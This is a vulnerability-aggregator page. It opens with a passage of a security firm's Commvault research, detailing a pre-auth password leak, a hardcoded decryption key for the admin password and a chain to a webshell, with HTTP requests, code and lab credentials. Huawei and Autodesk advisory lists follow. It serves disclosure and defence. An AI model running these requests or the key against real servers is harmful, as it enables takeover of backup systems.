sqlservr.exe                  3140 Services                   0    301,700 K

The fastest way to start digging into this MSSQL backend was to spin up SQL Server Management Studio (SSMS) and attempt a local connection using the administrative account.

No luck — we were immediately met with an authentication error.

A quick grep through the source revealed no hardcoded database credentials. That left one likely place to look — in memory.

Database connections are often instantiated when the application boots. By configuring the debug server to suspend until our debugger connects (suspend=y), we could attach early and set a breakpoint on the default Java driver manager class, java.sql/java/sql/DriverManager.java.

From there, we were able to watch the connection being created — and with it, the credentials for a database user:

sqlexec_cv
2ff0c60b-3df8-45e9-a82e-76bbdd3acc9c

Discovering Built-in Users

Armed with our freshly obtained database credentials, we could now connect to the SQL Server without issue. From there, it was trivial to query the users table — giving us a full list of accounts in the environment.

SELECT *
  FROM [CommServ].[dbo].[UMUsers]


The following table contains the usernames and password hashes retrieved from the database:

login password
_+EventOrganizerPublicUser 73860906f032786acc0144b616b33dbb3c6a0a8ac2e572ed20a5f9e8532db992d
OutlookAddinContentStore 725758387f6df69bddf9aa88fc62e23c6ebbac5c254124ba43e160f0768c96dac
_+DummyWebReportsTagUser Password Disabled
_+PublicSharingUser 75c9943f818d778135f6869d533cfe84057ebf252a888c93c59e57f8642ae1fbb
_+SRM_Advisory#User{1Name Password Disabled
Admin 7062db44cb34249f0ab3a224d126e565feda5827af26bae9fbedb44bb88b2f098
SystemCreatedAdmin 9EC4B0A62-5948-49EE-9212-A31A3CD1230D
master 94FC2C1E8-A39F-4B23-AEBA-67E4E039B3D8
OvaUser(Deleted,4) Password Disabled
WIN-AC7GJT5_localadmin__ 713a853338acb2d8981329ff275189d45df2397fa5970db6c8e60b760b3136064

You might quickly notice there are quite a few built-in accounts here (we’ve already covered localadmin) — which is surprising, given we only created an admin account ourselves. Some of these entries have no passwords or GUIDs, so we can safely ignore them. Our focus is on accounts with hashed passwords, and more importantly, whether we can determine those passwords pre-authentication. Remember our goal here.

While grep-ing through the code for references to _+_PublicSharingUser_, we came across an interesting SQL script:

IF EXISTS (SELECT * FROM UMUsers WHERE (login = '_+_PublicSharingUser_' OR login = '_+_EventOrganizerPublicUser_') AND password = '2exxxxx') <--- [0]
BEGIN
DECLARE @clientGUID varchar(40) = (SELECT guid FROM app_client WHERE id = 2) <--- [1]
DECLARE @encGUID nvarchar(max)
EXEC pswEncryptionManaged  @clientguid, @encguid OUTPUT <--- [2]

UPDATE UMUsers
SET password = @encGUID <--- [3]
WHERE login = '_+_PublicSharingUser_' OR login = '_+_EventOrganizerPublicUser_'

END

Breaking the script down as simply as possible:

  • [0] - Select all users with a hardcoded password of 2exxxxx.
  • [1] - Pull a GUID from another table and store it as a variable.
  • [2] - Pass that GUID (and an empty GUID) into the stored procedure pswEncryptionManaged.
  • [3] - Update the password for those users using the GUID returned from [2].

Put simply, this GUID becomes the users passwords. Regardless, and naturally, our first step was to try logging in with 2exxxxx directly for these users via the front end - but as expected we had no luck.

So, we moved to step [1] and ran the SQL query to pull the GUID:

SELECT guid FROM app_client WHERE id = 2

B1875E44-43D9-4412-A10E-44606DFD3BC2

On a whim, and with a hunch, we checked our HTTP proxy history and quickly spotted something interesting - the GUID from step [1] was already being handed to us in a pre-authenticated request.

GET /commandcenter/publicLink.do HTTP/1.1
Host: {{Hostname}}

[...Truncated Response...]
"commcellInfo":{"metaInfo":[{"name":"allHeaders","value":"{\"Transfer-Encoding\":\"chunked\",\"WEBSERVERCORE-FLAG\":\"true\",\"Cache-Control\":\"no-store, no-cache\",\"Server\":\"Microsoft-IIS/10.0\",\"cv-gorkha\":\"B1875E44-43D9-4412-A10E-44606DFD3BC2\",\"Date\":\"Thu, 24 Apr 2025 04:03:51 GMT\",\"Content-Type\":\"application/xml; charset\u003dutf-8\"}"}

Great!

Authenticating

When we attempted to log in through the frontend using the GUID as the password for _+*PublicSharingUser_*, the application’s response was noticeably different compared to what we’d see for either the admin account or an outright incorrect password.

This indicated that we were on the right track:

However, it still returned an invalid JSESSIONID, which meant we could not access any authenticated .do endpoints from our earlier research.

Fortunately, from our previous authentication bypass work, we already knew how the /Login API backend endpoint operated and functioned, giving us a more direct way to request an authentication token without needing to deal with the web UI session handling.

Using this approach, we were able to authenticate as _+_PublicSharingUser_ and obtain a valid Authtoken by simply Base64-encoding the GUID as the password:

POST /commandcenter/api/Login HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Content-Type: application/json;charset=UTF-8
Content-Length: 110

{
  "username": "_+_PublicSharingUser_",
  "password": "QjE4NzVFNDQtNDNEOS00NDEyLUExMEUtNDQ2MDZERkQzQkMy" <--- [Base64 GUID]
}

Response:

{
  "aliasName": "-20",
  "userGUID": "93F44B6B-D974-47D6-BC8E-CBA207D38F51",
  "loginAttempts": 0,
  "remainingLockTime": 0,
  "smtpAddress": "No Email",
  "userName": "_+_PublicSharingUser_",
  "ccn": 0,
  "token": "QSDK 3ce49fdbe75...f229f78323914edce",
  "capability": 9663676416,
  "forcePasswordChange": false,
  "isAccountLocked": false,
  "additionalResp": {
    "nameValues": [
      {
        "name": "USERNAME",
        "value": "_+_PublicSharingUser_"
      },
      {
        "name": "autoLoginType"
      },
      {
        "name": "fullName",
        "value": "Public Sharing User"
      }
    ]
  },
  "errList": [],
  "company": {
    "providerId": 0,
    "providerDomainName": ""
  }
}

Boom! With a valid token in hand, our first instinct was to explore what actions we could take within the API.

Unfortunately, most attempts were met with permission errors such as:


  "response": [
    {
      "errorString": "User [Public Sharing User] doesn't have [View] permission on [WIN-AC7GJT5] [CommCell].",
      "warningCode": 0,
      "errorCode": 5,
      "warningMessage": ""
    }
  ]
}

Even so, we had our next foothold: an authenticated low-privilege account that could potentially be leveraged to reach more powerful functionality.

WT-2025-0048: Privilege Escalation through Hardcoded Encryption Key

As an incredibly fresh reminder, our second authentication bypass (affectionately referred to as WT-2025-0047), gives us valid credentials for the low-privileged _+_PublicSharingUser_ account by leaking its password pre-authentication.

The natural next step is to see if we can use this account to trigger WT-2025-0049, the Post-Auth RCE that we detailed earlier. When attempting this, however, the response is:

HTTP/1.1 500 
...

<CVGui_GenericResp errorMessage="Session info not for for the query&#xA;" errorCode="2" />

_+_PublicSharingUser_ doesn’t have enough privileges to run qoperation execute or qoperation execscript — both of which could easily be used to drop a webshell. Clearly, this is discrimination against _+_PublicSharingUser_.

Because we believe in equal opportunity exploitation, we set out to fix this injustice. The answer? Privilege escalation.

At some point, we discovered an endpoint that retrieves user details directly from the database - with no authorization checks. Any authenticated user can call it.

[HttpGet("Database/GetUmUserById/{userId}")]
public IActionResult GetUmUserById(int userId)
{
    IActionResult result;
    try
    {
        Umusers umUserById = this.cvUsersDbContext.GetUmUserById(userId); // [1]
        result = this.Ok(umUserById);
    }
    catch (Exception ex)
    {
        this.logger.LogException(ex, "GetUmUserById", 31);
        result = this.StatusCode(500, ex);
    }
    return result;
}

The GetUmUserById method runs the following SQL query, taking the userId directly from user input:

SELECT name, login, email, userGuid, enabled, flags, password, UPN FROM [dbo].[UMUsers] WITH(NOLOCK) WHERE id = @id

When you look closely at the returned columns, you will notice the one called password. Spicy.

Let’s try to fetch the details of the admin user (id=1):

GET /commandcenter/RestServlet/Database/GetUmUserById/1 HTTP/1.1
Host: commvaultlab
Accept: application/xml
Authtoken: QSDK tokenhere

HTTP response (excerpt):

HTTP/1.1 200 
Strict-Transport-Security: max-age=31536000;includeSubDomains
...

{"id":1,"name":"Administrator","login":"Admin","password":"38293d8ce514de537f256ed93c2f6621493bf1768f0a9af55","email":"admin@admin.com","datePasswordSet":0,"dateExpires":0,"policy":0,"enabled":1,"flags":67,"modified":0,"pVer":0,"lastLogInTime":0,"credSetTime":0,"umDsproviderId":0,"userGuid":"1911DEE2-25D3-4FF4-8067-152FAFB61273","origCcid":0,"companyId":0,"upn":"","created":0,"appSyncCloudFolder":[],"appPlan":[],"umqsdksessions":[],"mdmInstalledApp":[],"tmPattern":[],"umUsersProp":[],"umWebAuthenticators":[],"ntNotificationRule":[],"umAccessToken":[]}

We’ve used the low-privileged account to retrieve admin’s password hash, nice!

At first glance, it looks like a SHA256 hash — but a closer look reveals something unusual.

49 characters? That’s strange - a hash length like that immediately stood out. Clearly something wasn’t right, so we dug deeper to find the code responsible for handling credentials.

The operation appears in several parts of the codebase, but one location caught our eye: a SQL stored procedure that performs “credentials decryption” via the StoredProcedures.pswDecryption method in the cv_dbclr_safe DLL:

[SqlProcedure]
public static void pswDecryption(string encryptedText, out string decryptedText)
{
    decryptedText = string.Empty;
    EncryptionHelper encryptionHelper = new EncryptionHelper();
    try
    {
        encryptionHelper.Decrypt(encryptedText, ref decryptedText);
    }
    catch (Exception ex)
    {
        SqlContext.Pipe.Send(ex.ToString());
    }
}

The encryptionHelper.Decrypt leads to the DecryptPassword method:

public int DecryptPassword(string encrypted, ref StringBuilder sb, int length)
{
    string encrypted2 = encrypted.Remove(0, 1);
    if (encrypted.StartsWith("2"))
    {
        if (encrypted.Length > 1)
        {
            CVCoderHeader cvcoderHeader = new CVCoderHeader();
            string text = "";
            cvcoderHeader.csldecfld(encrypted.Substring(1), ref text);
            for (int i = 0; i < text.Length - 1; i += 4)
            {
                string value = text[i] + text[i + 1];
                sb.Append((char)Convert.ToInt64(value, 16));
            }
        }
    }
    else if (encrypted.StartsWith("3")) // [1]
    {
        CvcSHA256Custom cvcSHA256Custom = new CvcSHA256Custom();
        byte[] keysha = cvcSHA256Custom.Sha256byte("{483afb5d-70df-4e16-abdc-a1de4d015a3e}"); // [2]
        int blockSizeForCiper = 16;
        CvcKeyWrap cvcKeyWrap = new CvcKeyWrap();
        sb = cvcKeyWrap.Cvc_Unwrap(blockSizeForCiper, encrypted2, keysha); // [3]
    }
    else if (encrypted.StartsWith("5"))
    {
        CvcSHA256Custom cvcSHA256Custom2 = new CvcSHA256Custom();
        byte[] keysha2 = cvcSHA256Custom2.Sha256byte(Encryption.GetV5Key());
        int blockSizeForCiper2 = 16;
        CvcKeyWrap cvcKeyWrap2 = new CvcKeyWrap();
        sb = cvcKeyWrap2.Cvc_Unwrap(blockSizeForCiper2, encrypted2, keysha2);
    }
    return 5;
}

This code gives us everything we need. The first character of the stored password determines which encryption algorithm was used.

  • At [1], our case is matched because the password begins with 3.
  • At [2], we see a hard-coded encryption key — simply the SHA256 hash of {483afb5d-70df-4e16-abdc-a1de4d015a3e}.
  • At [3], the password is decrypted using AES.

With this, a low-privileged user can:

  • Retrieve the encrypted admin password from the database.
  • Decrypt it and log in as admin.

The screenshot below shows the decrypted password we pulled from the API-leaked data.

Once again, having access to an administrative account - we can now use the previously described WT-2025-0049 to form another pre-auth RCE chain.

Although this vulnerability is valid and can be used to build a second pre-auth RCE chain, it comes with two key limitations:

  • The admin password is stored in the database in encrypted (not hashed) form only during initial product setup. During installation, the admin password you set is encrypted and saved. If the password is ever changed later (for example, through the application frontend), it will be stored as a hash instead, making the vulnerability unexploitable. Important: We do not know exactly when SHA256 became the default storage format. There’s a strong chance that if you changed the password a couple of years ago, you may still be vulnerable, since SHA256 may not have been the default at that time.
  • We reported this issue to the vendor on April 16th, 2025. The day before, version 11.38.25 was released. Starting from that version, the admin password will automatically be hashed after the first successful login, so it will no longer be stored in encrypted form.

Even so, this chain will likely still impact many CommVault instances. And if it doesn’t, the first chain we described remains unaffected by these limitations.

It’s also worth noting that many CommVault administrators don’t use the built-in admin account at all, which could leave this attack path viable for longer.

Completing Another Chain - Joining WT-2025-0047, WT-2025-0048 and WT-2025-0049

Our second full pre-auth RCE chain starts with the low-privileged _+_PublicSharingUser_ account and escalates all the way to admin before dropping a webshell:

  • WT-2025-0047 - Leak the password of _+_PublicSharingUser_ via a pre-auth information disclosure.
  • WT-2025-0048 - Privilege escalation by retrieving the encrypted admin password from the database and decrypting it with a hardcoded AES key.
  • WT-2025-0049 - Absolute path traversal in QCommand handling, allowing a JSP webshell to be written directly into the webroot for remote code execution.

This chain is exploitable against vulnerable Commvault instances where the admin password is still stored in encrypted form in the database. Even if this condition is not met, the first chain remains fully viable.

As with the first chain - no Detection Artifact Generator will be released.

Am I Vulnerable?

With the publication of the security advisories from Commvault, the following versions are now confirmed to be affected by the vulnerabilities in this research. This includes both the innovation release and main branch releases.

  • Product: Commvault
  • Platform: Linux, Windows
  • Affected Versions: 11.32.0 - 11.32.101
  • Remediated Versions: 11.32.102
  • Note:
  • Product: Commvault
  • Platform: Linux, Windows
  • Affected Versions: 11.36.0 - 11.36.59
  • Remediated Versions: 11.36.60
  • Note:
  • Product: Commvault
  • Platform: Linux, Windows
  • Affected Versions: 11.38.20-11.38.25
  • Remediated Versions: 11.38.32
  • Note: Whilst this branch is not stated within the official advisory, through our own tests we clarified these versions.

Here are each advisory for the vulnerabilities reported:

  • Vulnerability: WT-2025-0047
  • CVE: CVE-2025-57788
  • Vendor Synopsis: Unauthorized API Access Risk
  • Link: https://documentation.commvault.com/securityadvisories/CV_2025_08_3.html
  • Vulnerability: WT-2025-0048
  • CVE: CVE-2025-57789
  • Vendor Synopsis: Vulnerability in Initial Administrator Login Process
  • Link: https://documentation.commvault.com/securityadvisories/CV_2025_08_4.html
  • Vulnerability: WT-2025-0049
  • CVE: CVE-2025-57790
  • Vendor Synopsis: Path Traversal Vulnerability
  • Link: https://documentation.commvault.com/securityadvisories/CV_2025_08_2.html
  • Vulnerability: WT-2025-0050
  • CVE: CVE-2025-57791
  • Vendor Synopsis: Argument Injection Vulnerability in CommServe
  • Link: https://documentation.commvault.com/securityadvisories/CV_2025_08_1.html

Timeline

  • Date: 15th April 2025
  • Detail: watchTowr discloses WT-2025-0047 to Commvault
  • Date: 16th April 2025
  • Detail: Commvault validates WT-2025-0047
  • Date: 18th April 2025
  • Detail: watchTowr discloses WT-2025-0048 and WT-2025-0049 to Commvault
  • Date: 18th April 2025
  • Detail: Commvault acknowledge the reports and ask for a phone call with watchTowr
  • Date: 19th April 2025
  • Detail: watchTowr declines phone call, citing internal policy
  • Date: 22nd April 2025
  • Detail: watchTowr provides an endpoint which exposes the password GUID(WT-2025-0047) and provides code excerpts evidencing that the password is encrypted (WT-2025-0048)
  • Date: 23rd April 2025
  • Detail: watchTowr discloses WT-2025-0050 to Commvault
  • Date: 24th April 2025
  • Detail: watchTowr hunts across client attack surfaces for Commvault-related vulnerabilities
  • Date: 25th April 2025
  • Detail: Commvault provides feedback: Confirms WT-2025-0047 as a vulnerability Confirms WT-2025-0048 as a vulnerability Provides feedback for WT-2025-0049 - "The QCommand Execute API requires valid administrator credentials. Given the improbability of WT-2025-0048 being exploited to gain such credentials, we do not believe this RCE is feasible in a real-world context without authorized admin access." Provides feedback for WT-2025-0050 - "We recognize that this issue could allow the generation of a QSDK token for the localadmin user. However, it is important to highlight that the token's permissions are tightly scoped. It supports only specific operational functions such as backup and restore, and does not provide cell-level or broad administrative capabilities.""
  • Date: 25th April 2025
  • Detail: watchTowr request an ETA on patch availability, and provides PoCs to demonstrate real-world exploitability
  • Date: May 23rd 2025
  • Detail: watchTowr observes patches released in innovation releases and asks Commvault for status update
  • Date: May 24th 2025
  • Detail: Commvault confirm they're actively working on comprehensive fixes for all versions
  • Date: May 31st 2025
  • Detail: Commvault confirm they expect to fix vulnerabilities with the aim to release advisories within the first week of July
  • Date: June 12th 2025
  • Detail: Commvault contacts watchTowr to reconfirm disclosure in July
  • Date: June 12th 2025
  • Detail: watchTowr requests CVE identifiers
  • Date: July 9th 2025
  • Detail: Commvault requests to amend disclosure date on August 15th, confirming CVE identifiers will be provided at the time of publication
  • Date: July 11th 2025
  • Detail: watchTowr agrees to a disclosure date of August 15th
  • Date: August 14th 2025
  • Detail: Commvault requests to reschedule the disclosure to August 20th
  • Date: August 19th 2025
  • Detail: Commvault publishes the security advisories
  • Date: August 20th 2025
  • Detail: MITRE assigns the following CVEs (CVE-2025-57788, CVE-2025-57789, CVE-2025-57790, CVE-2025-57791)
  • Date: August 20th 2025
  • Detail: watchTowr publishes research

The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.

By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.

Gain early access to our research, and understand your exposure, with the watchTowr Platform

REQUEST A DEMO


Related vulnerabilities: CVE-2025-57789CVE-2025-57788CVE-2025-57790CVE-2025-57791CVE-2025-34028CVE-2025-34028

Security Bulletins for HUAWEI Phones/Tablets, July 2025

*Source: https://consumer.huawei.com/en/support/bulletin/2025/7/ | *

CVE-2025-26455 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, HarmonyOS2.1.0, HarmonyOS2.0.0, EMUI 14.0.0, EMUI 13.0.0, EMUI 12.0.0
CVE-2025-26448 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, EMUI 14.0.0, EMUI 13.0.0
CVE-2025-26458 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, EMUI 14.0.0, EMUI 13.0.0
CVE-2025-26463 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, EMUI 14.0.0, EMUI 13.0.0
CVE-2025-32312 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, HarmonyOS2.1.0, HarmonyOS2.0.0, EMUI 14.0.0, EMUI 13.0.0, EMUI 12.0.0
CVE-2025-26445 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, EMUI 14.0.0, EMUI 13.0.0
CVE-2025-26444 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, HarmonyOS2.1.0, HarmonyOS2.0.0, EMUI 14.0.0, EMUI 13.0.0, EMUI 12.0.0
CVE-2025-0072 High HarmonyOS4.2.0
CVE-2025-0427 High HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS2.1.0, HarmonyOS2.0.0, EMUI 14.0.0, EMUI 12.0.0
CVE-2024-40653 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, HarmonyOS2.0.0, EMUI 14.0.0, EMUI 13.0.0, EMUI 12.0.0
CVE-2024-49740 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, HarmonyOS2.0.0, EMUI 14.0.0, EMUI 13.0.0, EMUI 12.0.0
CVE-2025-22431 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, EMUI 14.0.0, EMUI 13.0.0
CVE-2025-26429 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, HarmonyOS2.1.0, HarmonyOS2.0.0, EMUI 14.0.0, EMUI 13.0.0, EMUI 12.0.0
CVE-2025-22442 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, HarmonyOS2.1.0, HarmonyOS2.0.0, EMUI 14.0.0, EMUI 13.0.0, EMUI 12.0.0
CVE-2025-0050 High HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS2.1.0, HarmonyOS2.0.0, EMUI 14.0.0, EMUI 12.0.0
CVE-2025-24925 Low HarmonyOS5.1.0, HarmonyOS5.0.1
CVE-2025-24844 Low HarmonyOS5.0.1
CVE-2025-26690 Low HarmonyOS5.0.1
CVE-2025-27562 Low HarmonyOS5.0.1
CVE-2025-25212 Low HarmonyOS5.0.1
CVE-2025-21762 High HarmonyOS5.1.0, HarmonyOS5.0.1
CVE-2025-21764 High HarmonyOS5.1.0, HarmonyOS5.0.1
CVE-2025-21785 High HarmonyOS5.1.0, HarmonyOS5.0.1
CVE-2025-21926 Medium HarmonyOS5.1.0, HarmonyOS5.0.1
CVE-2025-21999 High HarmonyOS5.1.0, HarmonyOS5.0.1
CVE-2025-26423 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, HarmonyOS2.1.0, HarmonyOS2.0.0, EMUI 14.0.0, EMUI 13.0.0, EMUI 12.0.0
CVE-2025-26438 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, HarmonyOS2.1.0, HarmonyOS2.0.0, EMUI 14.0.0, EMUI 13.0.0, EMUI 12.0.0
CVE-2024-49728 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, HarmonyOS2.1.0, HarmonyOS2.0.0, EMUI 14.0.0, EMUI 13.0.0, EMUI 12.0.0
CVE-2025-22437 High HarmonyOS4.3.0, HarmonyOS4.2.0, HarmonyOS4.0.0, HarmonyOS3.1.0, HarmonyOS3.0.0, HarmonyOS2.1.0, HarmonyOS2.0.0, EMUI 14.0.0, EMUI 13.0.0, EMUI 12.0.0


Related vulnerabilities: CVE-2025-26455CVE-2025-22431CVE-2025-26458CVE-2025-21926CVE-2024-49728CVE-2025-22437CVE-2025-26423CVE-2024-40653CVE-2025-32312CVE-2025-22442CVE-2025-21764CVE-2025-26448CVE-2025-21999CVE-2025-25212CVE-2025-21785CVE-2025-26429CVE-2025-26690CVE-2025-26438CVE-2025-26445CVE-2025-21762CVE-2024-49740CVE-2025-0427CVE-2025-0050CVE-2025-26463CVE-2025-26444CVE-2025-24925CVE-2025-0072CVE-2025-27562CVE-2025-24844

Certain Autodesk products use a shared component that is affected by multiple vulnerabilities listed below. Exploitation of these vulnerabilities can lead to code execution. Exploitation of these vulnerabilities requires user interaction. Description

The details of the vulnerabilities are as follows:

CVE-2025-5038: A maliciously crafted X_T file, when parsed through certain Autodesk products, can force a Memory Corruption vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process.

CVE-2025-5043: A maliciously crafted 3DM file, when linked or imported into certain Autodesk products, can force a Heap-Based Overflow vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.

CVE-2025-6631: A maliciously crafted PRT file, when parsed through certain Autodesk products, can force an Out-of-Bounds Write vulnerability. A malicious actor may leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process.

CVE-2025-6635: A maliciously crafted PRT file, when linked or imported into certain Autodesk products, can force an Out-of-Bounds Read vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.

CVE-2025-6636: A maliciously crafted PRT file, when parsed through certain Autodesk products, can force a Use-After-Free vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.

CVE-2025-6637: A maliciously crafted PRT file, when parsed through certain Autodesk products, can force an Out-of-Bounds Write vulnerability. A malicious actor may leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process.

CVE-2025-7497: A maliciously crafted PRT file, when parsed through certain Autodesk products, can force an Out-of-Bounds Write vulnerability. A malicious actor may leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process.

CVE-2025-7675: A maliciously crafted 3DM file, when parsed through certain Autodesk products, can force an Out-of-Bounds Write vulnerability. A malicious actor may leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process.

Affected Products

Item: Autodesk AutoCAD 2026 and the following specialized toolsets: Autodesk AutoCAD Architecture 2026, Autodesk AutoCAD Electrical 2026, Autodesk AutoCAD Mechanical 2026, Autodesk AutoCAD MEP 2026, Autodesk AutoCAD Plant 3D 2026, Autodesk AutoCAD Map 3D 2026

Autodesk Advance Steel 2026, Autodesk 3ds Max 2026, Autodesk Civil 3D 2026, Autodesk InfraWorks 2026, Autodesk Inventor 2026, Autodesk Revit 2026, Autodesk Revit LT 2026, Autodesk Vault 2026

Impacted Versions: Autodesk Shared Components 2026.2

Mitigated Versions: Autodesk Shared Components 2026.3

Update Source: Autodesk Access or Accounts Portal


Related vulnerabilities: CVE-2025-6636CVE-2025-5038CVE-2025-7675CVE-2025-7497CVE-2025-6635CVE-2025-6631CVE-2025-5043CVE-2025-6637

displaying 11 - 20 bundles in total 99